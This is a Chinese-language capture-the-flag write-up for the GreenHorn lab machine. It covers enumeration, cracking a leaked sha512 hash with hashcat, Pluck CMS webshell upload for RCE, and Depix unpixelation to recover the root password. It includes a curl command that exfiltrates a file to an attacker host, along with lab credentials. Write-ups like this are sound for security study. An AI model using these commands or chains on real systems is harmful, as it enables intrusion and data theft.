概述 (Overview)
HOST: 10.10.11.25
OS: LINUX
发布时间: 2024-07-20
完成时间: 2024-11-02
机器作者: nirza
困难程度: EASY
机器状态: 退休
MACHINE TAGS: #Depix #goshs #HashCat
攻击链 (Kiillchain)
GreenHorn 是一个 Easy 等级的简单机器,通过公共代码库中的泄露项目获取加的密码,对其进行碰撞枚举得到明文。随后利用 Pluck 中的漏洞实现远程代码执行,还原马斯克信息获取 root 凭据。
枚举(Enumeration)
使用工具对目标服务器开放端口进行识别,这里我改用 gogo 这款工具而非 nmap。
[+] tcp://10.10.11.25:22 ssh [open] SSH-2.0-OpenS [+] http://10.10.11.25:3000 gogs||focus:gitlab||focus:swagger-ui [200] GreenHorn [+] http://10.10.11.25:80 nginx/1.18.0 (Ubuntu) nginx [302] 302 Found
目标服务器对外暴漏了三个端口,其两个通过指纹识别出是 Web 站点,结合现用信息打点的入口集中在 Web 站点上即可。
pluck-cms - Port 80
该端口上部署的是一个开源的 CMS 系统,Pluck CMS 是开源的一个用 PHP 编写的小型简单的内容管理系统,简单浏览下子可以知道当前版本是 4.7.18
。
而登录页面只需要一个 password ,后续这个可以进行简单的弱口令登录尝试,顺便查询下历史漏洞,成功找到 RCE 链。
Pluck 在 4.7.18 版本存在一个安全漏洞,该漏洞源于没有限制失败的登录尝试,允许攻击者执行暴力攻击。
https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC > https://www.exploit-db.com/exploits/51592
Gitea - Port 3000
这个没什么好介绍的,老朋友 gitea(开源代码仓库软件)在之前的靶机上也见过。
立足点(Foothold)
在 Gitea 上的探索中能找到一个对外可见的代码项目,而这个项目命名与当前靶机 80 端口上的站点一致。
是使用 git clone 命令将代码仓库拉直本地进行分析,通过阅读代码可以知道密码被加密保存在 data/settings/pass.php
文件中,而加密类型为:sha512。
# cat data/settings/pass.php
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
使用 hashcat 工具碰撞密码成功得到明文密码为:iloveyou1
$ hashcat -m 1700 -O --force -a 0 ./hash.txt ./rockyou.txt d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
接下来就简单了,跟着前面搜到的 POC 工具链去操作,通过在 http://greenhorn.htb/admin.php?action=installmodule
上传 WebShell 成功获得服务器会话。
横向移动(Lateral Movement)
检查在下 /home
目录能看到存在一个 junior 的用户,复用密码则需要一个完整的 tty shell,横向至 junior 用户下就可以得到 user flag。
权限提升(Privilege Escalation)
在当前用户文件夹内进行查找,发现存在一个 PDF 文件,使用 goshs 工具进行文件传递。它近期 kali 里收录的新工具源,一个 SimpleHTTPServer 用来做文件传递和下载的。
# kali 上开启文件服务
$ goshs -p 8801 -uo -d /home/x/Public
# 文件传递到 kali
$ curl -F 'file=@Using OpenVAS.pdf' http://10.10.14.14:8801/
里面密码这里存在马赛克,需要对它进行还原。借助 Depix 进行还原,最简单的方法可以将 PDF 文件的后缀改成 .zip
后缀,解压后在里面找到这个马斯克图片就行。我则是使用工具将 PDF 中的图片导出:https://tools.pdf24.org/en/extract-images
使用 Depix 进行图片内容还原:
尝试了很多次,最后也就处理到这种程度了,猜猜改改就得到了 root 密码是: sidefromsidetheothersidesidefromsidetheotherside
成功拿到 root flag。